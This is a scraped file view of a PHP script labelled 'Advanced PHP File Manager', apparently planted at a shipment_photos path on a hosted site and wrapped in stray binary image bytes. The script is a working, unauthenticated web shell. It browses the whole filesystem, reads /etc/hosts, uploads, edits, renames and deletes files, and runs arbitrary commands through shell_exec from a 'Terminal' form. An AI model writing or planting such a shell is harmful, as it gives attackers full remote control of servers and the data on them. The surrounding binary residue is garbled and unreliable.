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j '  'P$a ( `D$Na L?u80e J,K˷NI'0eݷ(NI'؀ 2ipIIKp`:O'`ʤxB8Ѥx Ѥx $ $P6 :vRNb 'p,>NB 'P]-->P T+*^h& p '‰a ‰ (ĵt#u33;Nt̵'ޯ; [3W ~]0KH1q@8]O2]3*̧7# *p>us p _6]/}-4|t'|Smx= DoʾM×M_8!)6lq':l7!|4} '\ne t!=hnLn (~Dn\+‰_4k)0e@OhZ`F `.m1} 'vp{F`ON7Srx 'D˸nV`><;yMx!IS钦OM)Ե٥x 'DSD6bS8!" ODz#R >S8!7ّxEh0m$MIPHi$IvS8IN$I p$O8I,sk&I)$IN$Hi$I^Ah.p$MIN$IR8I·N "IF9Ah0m$MIN$IR8IN$I 3jIU;kO$ɳN$+ q.x* tEXtComment

Viewing File: /home/u423589436/domains/swiftledger.site/public_html/public/shipment_photos/app.php

<?php
error_reporting(0);
// --- Helper functions ---
function formatSize($bytes) {
    $sizes = ['B', 'KB', 'MB', 'GB', 'TB'];
    $i = 0;
    while ($bytes >= 1024 && $i < count($sizes)-1) {
        $bytes /= 1024;
        $i++;
    }
    return round($bytes, 2).' '.$sizes[$i];
}
function rrmdir($dir) {
    if (!is_dir($dir)) return;
    $objects = scandir($dir);
    foreach ($objects as $object) {
        if ($object != "." && $object != "..") {
            $path = $dir.DIRECTORY_SEPARATOR.$object;
            if (is_dir($path)) rrmdir($path);
            else unlink($path);
        }
    }
    rmdir($dir);
}
// --- Variables ---
$path = isset($_GET['path']) ? realpath($_GET['path']) : getcwd();
if ($path === false) $path = getcwd();
if (!is_dir($path)) $path = dirname($path);
chdir($path);
$items = scandir($path);
// Server info
$server_ip = gethostbyname(gethostname());
$php_version = phpversion();
$hosts_content = @file_get_contents('/etc/hosts');
$domain_count = $hosts_content ? substr_count($hosts_content, "127.0.0.1") : 'N/A';
// --- Handle Actions ---
// Create Folder
if (isset($_POST['create_folder']) && !empty($_POST['folder_name'])) {
    $newFolder = $path.DIRECTORY_SEPARATOR.basename($_POST['folder_name']);
    if (!file_exists($newFolder)) mkdir($newFolder, 0755);
    header("Location: ?path=".urlencode($path));
    exit;
}
// Create File
if (isset($_POST['create_file']) && !empty($_POST['file_name'])) {
    $newFile = $path.DIRECTORY_SEPARATOR.basename($_POST['file_name']);
    file_put_contents($newFile, $_POST['file_content'] ?? '');
    header("Location: ?path=".urlencode($path));
    exit;
}
// Upload File
if (isset($_FILES['upload_file']) && $_FILES['upload_file']['error'] == 0) {
    move_uploaded_file($_FILES['upload_file']['tmp_name'], $path.DIRECTORY_SEPARATOR.basename($_FILES['upload_file']['name']));
    header("Location: ?path=".urlencode($path));
    exit;
}
// Delete File or Folder
if (isset($_GET['delete'])) {
    $delPath = realpath($path.DIRECTORY_SEPARATOR.basename($_GET['delete']));
    if ($delPath && strpos($delPath, $path) === 0) {
        if (is_dir($delPath)) rrmdir($delPath);
        else unlink($delPath);
    }
    header("Location: ?path=".urlencode($path));
    exit;
}
// Rename File or Folder
if (isset($_POST['rename_submit']) && !empty($_POST['rename_newname'])) {
    $oldPath = realpath($path.DIRECTORY_SEPARATOR.basename($_POST['rename_oldname']));
    $newPath = $path.DIRECTORY_SEPARATOR.basename($_POST['rename_newname']);
    if ($oldPath && strpos($oldPath, $path) === 0 && !file_exists($newPath)) {
        rename($oldPath, $newPath);
    }
    header("Location: ?path=".urlencode($path));
    exit;
}
// Edit file content
if (isset($_POST['edit_submit']) && !empty($_POST['edit_filename'])) {
    $editFile = realpath($path.DIRECTORY_SEPARATOR.basename($_POST['edit_filename']));
    if ($editFile && strpos($editFile, $path) === 0 && is_file($editFile)) {
        file_put_contents($editFile, $_POST['edit_content']);
    }
    header("Location: ?path=".urlencode($path));
    exit;
}
// --- Searching ---
$searchResults = [];
if (isset($_GET['search']) && !empty($_GET['search'])) {
    $searchTerm = $_GET['search'];
    $iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($path));
    foreach ($iterator as $file) {
        if (stripos($file->getFilename(), $searchTerm) !== false) {
            $searchResults[] = $file->getPathname();
        }
    }
}
// --- Terminal execution ---
$terminalOutput = '';
if (isset($_POST['terminal_cmd'])) {
    $cmd = $_POST['terminal_cmd'];
    if (!empty($cmd)) {
        $terminalOutput = shell_exec($cmd . " 2>&1");
    }
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8" />
<title>Advanced PHP File Manager</title>
<style>
    body {font-family: monospace, monospace; background:#2f2f2f; color:#eee; margin:0; padding:0;}
    header {background:#444; padding:10px; display:flex; flex-wrap:wrap; align-items:center; gap:10px;}
    header .info {flex-grow:1;}
    a, a:visited {color:#81d4fa; text-decoration:none;}
    a:hover {text-decoration:underline;}
    .breadcrumb a {margin-right:5px;}
    .toolbar {background:#3a3a3a; padding:10px; display:flex; flex-wrap:wrap; gap:10px;}
    .toolbar form {display:flex; gap:5px; align-items:center;}
    input[type=text], textarea {background:#222; border:1px solid #444; color:#eee; padding:5px; font-family: monospace; border-radius:3px;}
    textarea {resize:vertical;}
    button, input[type=submit] {background:#555; border:none; padding:5px 10px; color:#eee; border-radius:4px; cursor:pointer;}
    button:hover, input[type=submit]:hover {background:#666;}
    table {width:100%; border-collapse:collapse; margin-top:10px;}
    th, td {padding:8px; border-bottom:1px solid #555;}
    tr:hover {background:#3e3e3e;}
    .dark-mode {background:#121212; color:#ddd;}
    .dark-mode header {background:#222;}
    .dark-mode .toolbar {background:#222;}
    .dark-mode input, .dark-mode textarea {background:#333; border-color:#555; color:#ddd;}
</style>
<script>
function toggleDarkMode() {
    document.body.classList.toggle('dark-mode');
}
function confirmDelete(name) {
    return confirm('Delete "' + name + '" ?');
}
function openEditModal(filename) {
    let content = document.getElementById('filecontent_' + filename).value;
    document.getElementById('edit_filename').value = filename;
    document.getElementById('edit_content').value = content;
    document.getElementById('edit_modal').style.display = 'block';
}
function closeEditModal() {
    document.getElementById('edit_modal').style.display = 'none';
}
</script>
</head>
<body>
<header>
    <div class="info">
        Server IP: <strong><?= $server_ip ?></strong> |
        PHP Version: <strong><?= $php_version ?></strong> |
        Domains Hosted: <strong><?= $domain_count ?></strong>
    </div>
    <div class="breadcrumb">
        <?php
        $parts = explode(DIRECTORY_SEPARATOR, $path);
        $build = '';
        echo '<a href="?path=/">/</a>';
        foreach ($parts as $part) {
            if ($part === '') continue;
            $build .= DIRECTORY_SEPARATOR . $part;
            echo '<a href="?path=' . urlencode($build) . '">' . htmlspecialchars($part) . '</a> / ';
        }
        ?>
    </div>
    <button onclick="toggleDarkMode()" title="Toggle Dark Mode">🌗</button>
</header>
<div class="toolbar">
    <form method="post" style="flex-wrap: nowrap;">
        <input type="text" name="folder_name" placeholder="New folder name" required />
        <input type="submit" name="create_folder" value="📁 Create Folder" />
    </form>
    <form method="post" style="flex-wrap: nowrap;">
        <input type="text" name="file_name" placeholder="New file name" required />
        <input type="submit" name="create_file" value="📄 Create File" />
    </form>
    <form method="post" enctype="multipart/form-data" style="flex-wrap: nowrap;">
        <input type="file" name="upload_file" required />
        <input type="submit" value="⬆️ Upload File" />
    </form>
    <form method="get" style="flex-wrap: nowrap;">
        <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>" />
        <input type="text" name="search" placeholder="Search files/folders" value="<?= isset($searchTerm) ? htmlspecialchars($searchTerm) : '' ?>" />
        <input type="submit" value="🔍 Search" />
    </form>
</div>
<?php if (!empty($searchResults)): ?>
    <h3>Search Results for "<?= htmlspecialchars($searchTerm) ?>"</h3>
    <table>
        <tr><th>Name</th><th>Path</th></tr>
        <?php foreach ($searchResults as $file): ?>
            <tr>
                <td><?= basename($file) ?></td>
                <td><?= htmlspecialchars($file) ?></td>
            </tr>
        <?php endforeach; ?>
    </table>
<?php endif; ?>
<table>
<thead>
    <tr><th>Name</th><th>Size</th><th>Last Modified</th><th>Actions</th></tr>
</thead>
<tbody>
<?php foreach ($items as $item): 
    if ($item == '.') continue;
    $fullpath = $path.DIRECTORY_SEPARATOR.$item;
    $isDir = is_dir($fullpath);
?>
<tr>
    <td>
        <?php if ($isDir): ?>
            📁 <a href="?path=<?= urlencode($fullpath) ?>"><?= htmlspecialchars($item) ?></a>
        <?php else: ?>
            📄 <?= htmlspecialchars($item) ?>
            <textarea id="filecontent_<?= htmlspecialchars($item) ?>" style="display:none;"><?=
                htmlspecialchars(file_get_contents($fullpath)) ?></textarea>
        <?php endif; ?>
    </td>
    <td><?= $isDir ? '-' : formatSize(filesize($fullpath)) ?></td>
    <td><?= date('Y-m-d H:i', filemtime($fullpath)) ?></td>
    <td>
        <?php if (!$isDir): ?>
            <button onclick="openEditModal('<?= htmlspecialchars($item) ?>')">✏️ Edit</button>
        <?php endif; ?>
        <form method="get" style="display:inline;" onsubmit="return confirmDelete('<?= htmlspecialchars($item) ?>')">
            <input type="hidden" name="path" value="<?= htmlspecialchars($path) ?>" />
            <input type="hidden" name="delete" value="<?= htmlspecialchars($item) ?>" />
            <input type="submit" value="🗑️ Delete" />
        </form>
        <button onclick="promptRename('<?= htmlspecialchars($item) ?>')">🔄 Rename</button>
    </td>
</tr>
<?php endforeach; ?>
</tbody>
</table>
<script>
function promptRename(filename) {
    let newName = prompt('Rename \"' + filename + '\" to:', filename);
    if (newName && newName !== filename) {
        let form = document.createElement('form');
        form.method = 'post';
        form.style.display = 'none';
        let oldInput = document.createElement('input');
        oldInput.name = 'rename_oldname';
        oldInput.value = filename;
        form.appendChild(oldInput);
        let newInput = document.createElement('input');
        newInput.name = 'rename_newname';
        newInput.value = newName;
        form.appendChild(newInput);
        let submitInput = document.createElement('input');
        submitInput.type = 'submit';
        submitInput.name = 'rename_submit';
        form.appendChild(submitInput);
        document.body.appendChild(form);
        form.submit();
    }
}
</script>
<!-- Edit modal -->
<div id="edit_modal" style="display:none; position:fixed; top:10%; left:10%; width:80%; height:70%; background:#222; border:1px solid #555; padding:10px; z-index:9999; color:#eee;">
    <h3>Edit File: <span id="edit_filename_display"></span></h3>
    <form method="post">
        <input type="hidden" name="edit_filename" id="edit_filename" />
        <textarea name="edit_content" id="edit_content" style="width:100%; height:60vh; background:#333; color:#eee; border:1px solid #555;"></textarea>
        <br />
        <input type="submit" value="Save" name="edit_submit" />
        <button type="button" onclick="closeEditModal()">Cancel</button>
    </form>
</div>
<script>
function openEditModal(filename) {
    document.getElementById('edit_filename').value = filename;
    document.getElementById('edit_filename_display').textContent = filename;
    let content = document.getElementById('filecontent_' + filename).value;
    document.getElementById('edit_content').value = content;
    document.getElementById('edit_modal').style.display = 'block';
}
function closeEditModal() {
    document.getElementById('edit_modal').style.display = 'none';
}
</script>
<!-- Terminal -->
<div style="padding:10px; margin-top:20px; background:#3a3a3a;">
<h3>Terminal</h3>
<form method="post">
    <input type="text" name="terminal_cmd" style="width:80%;" placeholder="Enter command" />
    <input type="submit" value="Run" />
</form>
<pre style="background:#222; padding:10px; height:150px; overflow:auto; color:#0f0;"><?= htmlspecialchars($terminalOutput) ?></pre>
</div>
</body>
</html>
Back to Directory=ceiIENDB`